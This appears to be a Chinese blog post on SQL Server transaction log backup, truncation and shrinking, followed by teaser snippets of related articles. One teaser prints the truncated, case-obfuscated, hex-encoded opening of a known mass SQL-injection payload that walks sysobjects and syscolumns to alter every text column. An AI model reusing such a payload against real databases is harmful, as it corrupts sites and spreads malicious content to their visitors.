[SQL Server] 日志管理(待续)
--备份事务日志 (自上一次备份以来，至当前的已完成的事务的日志)
backup log MyDBName to disk='F:\dbbak\GamePoint\MyDBName_log_2010052709.bak';
--截断日志(截断掉当前的已完成的事务的日志), SQL Server 2005, 2008没有这个选项.
backup log MyDBName with no_Log;
--收缩日志(至1M,第一个参数为日志文件名,而不是物理文件名。如果日志还在使用，会延迟收缩)
dbcc shrinkfile (adventureworks_log, 1); --(查询文件名select name from sys.database_files)
go
一般来讲backup log后，会自动截断已完成（又称未活动）的事务日志，并且收缩该文件的大小。但如果你的数据库一直是在运行当中，且只有一个日志文件的时候，备份日志后，它是无法收缩该文件的大小(联机帮助上是说延迟收缩，实际上不知它延迟到什么时候)，须backup log MyDBName with no_Log; 才能立即收缩文件大小。
因此,创建数据库时，建议分成2个日志文件，这样只要backup log后，至少会有一个日志文件会被截断并收缩到“已设定的日志文件最小值”。
-- 以下在sql server 2008下，快速收缩日志文件大小的方法。仍然建议数据库中多个日志文件，通过备份日志来自动截断和收缩日志。
use adventureworks;
go
-- truncate the log by changing the database recovery model to simple.
alter database adventureworks
set recovery simple;
go
-- shrink the truncated log file to 1 mb.
dbcc shrinkfile (adventureworks_log, 1); --(查询文件名select name from sys.database_files)
go
-- reset the database recovery model.
alter database adventureworks
set recovery full;
go
恢复事务日志, 待续...
相关文档：
sql server 2005 简单运用函数
1.null 函数
用法与oracle中nvl()类似，处理函数为isnull()，
例如：
select ename,sal+isnull(comm,0)
from emp
go
isnull(comm,0)的用法是： comm为null 则返回0 否则为 comm的值。
2.V ......
sql恢复xp_regread
删除掉xp_regread后，发现以前的作业不能查看，只能去恢复了。
exec sp_addextendedproc 'Xp_dirtree','xpstar.dll' 恢复后发现不能使用
找到dbcc addextendedproc ("Xp_regread","xpstar.dll") 还是不能使用
后来才发现恢复的时候要用小写dbcc addextended ......
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e ......
如果没有远程数据库所在服务器的windows账号密码，仅有远程SQL Server数据库的用户密码，该如何备份远程数据库db1的数据到本地呢？
1：在本地安装通版本的数据库软件（比如：SQL Server2000）
2：在本地数据库服务器上创建数据库db2；
3：使用本地“企业管理器”注册远程数据库，并� ......
前言
最近接连遇到几个朋友问我同一个问题，就是关于.NET平台上ORM框架的选择。我想在这个讲求效率的时代，谁也不想手写SQL或存储过程去访问数据库了。大家都知道，在Java平台上，ORM这一块基本是Hibernate的天下。当然，相对轻量级的iBatis也有不错的表现。
&nb ......
